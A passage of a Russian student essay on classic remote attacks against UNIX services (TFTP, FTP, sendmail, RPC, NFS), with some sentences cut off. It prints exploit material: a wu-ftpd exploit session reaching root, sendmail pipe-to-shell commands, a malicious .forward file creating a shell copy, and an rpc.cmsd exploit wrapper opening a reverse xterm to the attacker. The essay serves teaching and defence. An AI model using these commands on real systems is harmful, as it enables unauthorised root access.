Автор: Пользователь скрыл имя, 11 Ноября 2011 в 23:07, реферат
То, что информация имеет ценность, люди осознали очень давно – не даром переписка сильных мира сего издавна была объектом пристального внимания их недругов и друзей. Информация приобрела самостоятельную коммерческую ценность и стала широко распространенным, почти обычным товаром. Ее производят, хранят, транспортируют, продают и покупают, а значит – воруют и подделывают – и, следовательно, ее необходимо защищать. Современное общество все в большей степени становится информационно–обусловленным, успех любого вида деятельности все сильней зависит от обладания определенными сведениями и от отсутствия их у конкурентов.
Введение3
I. Часто используемые методы удаленного взлома 4
TFTP4
FTP5
Sendmail7
Службы удаленного вызова процедур RPC9
NFS12
Проблема защиты систем X19
Атаки на систему DNS21
II. Контрмеры от часто используемых методов удаленного взлома24
Заключение28
Список литературы29
Оглавление
Введение3
I. Часто используемые методы удаленного взлома 4
TFTP4
FTP5
Sendmail7
Службы удаленного вызова процедур RPC9
NFS12
Проблема защиты систем X19
Атаки на систему DNS21
II. Контрмеры от часто используемых методов удаленного взлома24
Заключение28
Список литературы29
Введение
То, что информация имеет ценность, люди осознали очень давно – не даром переписка сильных мира сего издавна была объектом пристального внимания их недругов и друзей. Информация приобрела самостоятельную коммерческую ценность и стала широко распространенным, почти обычным товаром. Ее производят, хранят, транспортируют, продают и покупают, а значит – воруют и подделывают – и, следовательно, ее необходимо защищать. Современное общество все в большей степени становится информационно–обусловленным, успех любого вида деятельности все сильней зависит от обладания определенными сведениями и от отсутствия их у конкурентов. И чем сильней проявляется указанный эффект, тем больше потенциальные убытки от злоупотреблений в информационной сфере, и тем больше потребность в защите информации.
В современном
мире, когда времена проводных
локальных сетей несколько
И целью моей работы стало изучение основных видов несанкционированного доступа к удаленной системе и способов защиты от них.
I. Часто используемые методы удаленного взлома
1. TFTP
Протокол
TFTP (Trivial File Transfer Protocol — простой протокол
передачи файлов) обычно используется
для загрузки бездисковых рабочих
станций или сетевых устройств, таких
как маршрутизаторы. TFTP — это основанный
на UDP протокол, который использует порт
69 и характеризуется очень низким уровнем
безопасности. Практически каждый случай,
когда взломщик встречает систему, на
которой запущен сервер TFTP, заканчивается
попыткой получения через TFTP копии файла
/etc/passwd. Если сервер TFTP не настроен должным
образом, это приводит к тому, что система
без малейшего сопротивления позволяет
скопировать этот файл. Тем самым в руки
взломщика попадает файл с информацией
о пользовательских именах, после чего
он может попробовать подобрать пароль.
Кроме того, если пароли не хранятся в
файле /etc/shadow, то, помимо пользовательских
имен, взломщик получает также и зашифрованные
пароли, в результате чего им может быть
предпринята попытка их взлома или подбора.
Многие последние версии TFTP по умолчанию
настроены таким образом, что разрешают
доступ только к каталогу /tftpboot. Это очень
хорошая мера предосторожности, однако
все же возможность получения файлов с
диска взламываемого компьютера, пусть
даже лишь из одного каталога /tftpboot, может
угрожать безопасности. Например, злоумышленник
может найти в нем важные конфигурационные
файлы маршрутизаторов. имена которых
обычно имеют вид <имя_узла_маршрутизатора>
.cfg. Во многих случаях взломщик также сможет
получить доступ к паролям маршрутизатора
и строкам доступа SNMP. Нам приходилось
встречать целые сети, взломанные в течение
нескольких часов с помощью подключения
к незащищенному TFTP-серверу и получения
от него конфигурационных файлов маршрутизаторов.
Извлечь из этих файлов пароли и строки
доступа SNMP — это лишь дело техники. Как
правило, эти сведения оказываются идентичными
для каждого сетевого устройства.
2. FTP
В настоящее
время протокол FTP (File Transfer Protocol), позволяющий
обмениваться файлами с удаленными
системами, является одним из наиболее
популярных. Это одна из причин, по которым
он часто используется для несанкционированного
доступа к удаленным системам
или скрытной записи файлов. Многие
FTP-серверы разрешают
Помимо риска, связанного с разрешением
анонимных подключений, FTP-серверы вносят
свою лепту и в создание проблем, возникающих
при переполнении буфера и других нарушениях.
Одно из таких слабых мест было недавно
обнаружено в системах, использующих для
поддержки протокола FTP программу wu-ftpd
2.6.0 и ее более ранние версии (ftp://ftp.auscert.org.au/pub/
[thunder]# wugod -t 192.168.1.10
-sO
Target: 192.168.1.10 (ftp/<shellcode>):
RedHat 6.2 (?) with wuftpd
2.6.0(1) from rpm
Return Address: 0x08075844, AddrRetAddr:
Oxbfffb028, Shellcode: 152
loggin into system.
USER ftp
331 Guest login ok, send your complete e-mail address as password.
PASS <shellcode>
230-Next time please use your e-mail address as your password
230-for example: joe@thunder
230 Guest login ok, access restrictions apply.
STEP 2 : Skipping, magic number already exists:
[87,01:03,02:01,01:02,04]
STEP 3 : Checking if we can reach our
return address by format string
STEP 4 : Ptr address test: Oxbfffb028
(if it is not Oxbfffb028 ^С
me now)
STEP 5 : Sending code.,
this will take about 10 seconds. Press ^\
to leave shell
Linux shadow 2.2.14-5.0
#1 Tue Mar 7 21:07:39 EST 2000 1686 unknown
uid=0(root) gid=0(root) egid=50(ftp) groups=50(ftp)
Подобная атака оказывается поистине смертельной. Анонимного доступа к уязвимому FTP-серверу, который поддерживает выполнение определенных команд, вполне достаточно, чтобы получить доступ с правами root.
3. Sendmail
Программа
sendmail — это агент рассылки электронной
почты (МТА — mail transfer agent), используемый
во многих системах UNIX. Из всех программ
UNIX sendmail, пожалуй, является самой "вредной".
Она обладает очень широким набором
функций, в связи с чем позволяет
настраивать свои параметры самыми
разными способами и является
очень сложной в использовании.
Фактически о первых попытках взлома
sendmail стало известно еще в 1988 году
и с тех пор ее использовали
для получения
hello
mail from: |
rcpt to: bounce
data
mail from: bin
rcpt to: | sed 4,/^$/d' | sh
data
Помимо универсальных методов, направленных на переполнение буфера или взлом при отсутствии проверки ввода, для получения несанкционированного доступа часто применяются средства, специфичные для sendmail. Например, одним из распространенных методов является создание или модификация пользовательского файла -/.forward с применением FTP или NFS при условии, конечно, что у взломщика имеется доступ для записи в рабочий каталог этого пользователя. В файле -/.forward обычно содержатся сведения о том, куда нужно перенаправлять почтовые сообщения или какие программы нужно запускать при ее поступлении. Очевидно, что для взломщика этот файл представляет собой "лакомый кусочек", а его модификация открывает перед злоумышленником весьма богатые возможности. Рассмотрим пример того, что взломщик может добавить в файл ~/.forward выбранной им жертвы.
[tsunami]$ cat > .forward
|"op /bin/sh /home/gk/evil_shell ;
chmod 755 /home/gk/evil_shell"
<crtl> D
[tsunami]$ cat .forward
I"cp /bin/sh /home/gk/evil_shell ;
chmod 755 /home/gk/evil_shell"
Создав
такой файл, взломщик помещает его
в соответствующий
Получение сообщения приведет к созданию
в рабочем каталоге пользователя файла
evil_shell. При запуске этого файла будет запущена
командная оболочка с привилегиями, соответствующими
уровню привилегий использованной взломщиком
учетной записи.
4. Службы удаленного вызова процедур (RPC)
Удаленный
вызов процедур (RPC — Remote Procedure Call) —
это механизм, который позволяет
программе, работающей на одном компьютере,
выполнять программный код на
удаленном компьютере. Одна из первых
реализаций службы RPC была разработана
компанией Sun Microsystems и использовалась
в системе, базирующейся на протоколе
XDR (внешнее представление данных
— eXtemal Data Representation). Целью этой системы
было обеспечение взаимодействия сетевой
информационной службы (NIS — Network Information
System) и сетевой файловой системы
(NFS — Network File System), созданных компанией
Sun. После разработки компанией Sun Microsystems
службы RPC многие другие производители
операционных систем семейства UNIX также
стали включать поддержку RPC в свои
продукты. С точки зрения обеспечения
взаимодействия распространение и
стандартизация RPC — это очень
важно и полезно. Однако при разработке
службы RPC вопросам безопасности практически
не уделялось никакого внимания. Несмотря
на то что и компания Sun, и другие
разработчики приложили все усилия,
для того, чтобы устранить имеющиеся
недостатки в уже используемом программном
обеспечении и выпустить
При запуске
службы RPC регистрируются с помощью службы
преобразования портов (portmapper). Для того
чтобы установить связь со службой RPC,
у службы portmapper необходимо запросить номер
порта RPC. Ранее уже рассматривался метод
получения списка запущенных служб RPC,
заключающийся в сканировании портов
с использованием утилиты rpcinfo или параметра
-n (если служба portmapper блокируется на уровне
брандмауэра). К сожалению, во многих версиях
UNIX после загрузки по умолчанию включается
режим поддержки RPC. Но это еще полбеды
— настоящая проблема состоит в том, что
многие службы RPC очень сложны и работают
на уровне привилегий суперпользователя
root. Таким образом, успешный взлом путем
переполнения буфера или при отсутствии
проверки ввода приведет к немедленному
получению доступа в качестве суперпользователя.
На момент написания данной книги взлому
путем переполнения буфера были наиболее
подвержены службы rpc. ttdbserverd (http: //www. cert.org/advisories/CA-98.11.
[rumble]* cmsd.sh quake
192.168.1.11 2 192.168.1.103
Executing exploit...
rtable_create worked
clnt__call[rtable_insert]: RPC:
Unable to receive; errno=Connection
reset
by peer
Как показано ниже, эту атаку позволяет упростить простой сценарий оболочки, в котором вызывается утилита cmsd. При этом необходимо знать имя удаленного узла. В рассматриваемом примере таким именем является quake. Кроме того, используется также IP-адрес этого узла, 192.168.1.11, а также тип системы (2), что эквивалентно системе Solaris 2.6. Эта информация оказывается чрезвычайно важной, поскольку утилита "приспосабливается" к каждой конкретной системе. И наконец, мы указали также IP-адрес компьютера взломщика (192 .168 .1.103) и установили обратный канал с использованием программы xterm
Этого же результата можно достигнуть при использовании служб rpc. ttdbserverd или rpc. statd
#!/bin/sh
if [ $# -It 4 ]; then
echo "Rpc.cmsd buffer overflow for
Solaris 2.5 & 2.6 7"
echo "If rpcinfo -p target_ip 1grep
100068 = true - you win!"
echo "Don't forget to xhost+ the target system"
echo ""
echo "Usage: $0 target_hostname target_ip <
0/S version (1-7)> your_ip"
exit 1
fi
echo "Executing exploit..."
cmsd -h $1 -c "/usr/openwin/bin/xterm -display
$4:0.0 &" $3 $2
5. NFS
В документах
компании Sun Microsystems можно встретить
такое определение: "Сеть — это
и есть компьютер". Действительно,
возможности компьютера, не подключенного
к сети, гораздо уже, чем его
собрата, включенного в локальную
или глобальную сеть. Возможно, именно
из-за этого сетевая файловая система
(NFS — Network File System) является одной из
самых популярных файловых систем,
предназначенных для поддержки
сетевой обработки данных. Система
NFS обеспечивает пользователям и
приложениям прозрачный доступ к
файлам и каталогам удаленных
систем, как если бы эти файлы
и каталоги были локальными. NFS была
разработана компанией Sun Microsystems, и
за годы, прошедшие после выхода
версий 1 и 2, была значительно усовершенствована.
В настоящее время система NFS версии
3 используется в большинстве современных
клонов UNIX. Именно поэтому администратор
любой системы, разрешающей удаленный
доступ к экспортируемой файловой системе,
должен быть особенно бдительным. Вероятность
использования системы NFS для проникновения
в сеть очень высока, а нарушения
такого рода являются одними из самых
распространенных нарушений безопасности
UNIX. Это связано, во-первых, с тем, что в
сервере NFS (mountd) уже выявлено очень много
потенциальных ошибок, приводящих к переполнению
буфера. Кроме того, системой NFS используются
службы RPC, что позволяет взломщикам смонтировать
удаленную файловую систему. Большинство
проблем, связанных с безопасностью NFS,
имеет то или иное отношение к объектам,
называемым дескрипторами файлов (file handle).
Дескрипторы файлов — это уникальные
маркеры, предназначенные для идентификации
файлов и каталогов удаленного сервера.
Если взломщику удастся выведать или подобрать
дескриптор удаленного файла, он сможет
легко получить к нему доступ.
Чаще всего проблемы с системой NFS связаны
с ее неправильной настройкой, когда экспортирование
файловой системы разрешено любому пользователю
(everyone). Иными словами, любой удаленный
пользователь может смонтировать файловую
систему, не проходя аутентификации. Эта
проблема относится к разряду тех, которые
возникают из-за лени или халатности некоторых
администраторов и встречаются сплошь
и рядом. Взломщику даже не нужно взламывать
такую удаленную систему — все что требуется,
это смонтировать файловую систему с помощью
средств NFS и найти любой интересующий
его файл. Обычно можно экспортировать
рабочие каталоги пользователей так, что
с помощью удаленного доступа можно получить
множество интересных файлов (например,
целые базы данных). Более того, экспортируется
даже корневой каталог, о последствиях
чего даже не нужно говорить! Рассмотрим
один пример, а затем рассмотрим инструменты,
с помощью которых из системы NFS можно
извлечь дополнительную пользу. Итак, проверим
интересующую нас систему и определим,
используется ли в ней система NFS и какие
файловые системы экспортируются (если
таковые имеются, конечно).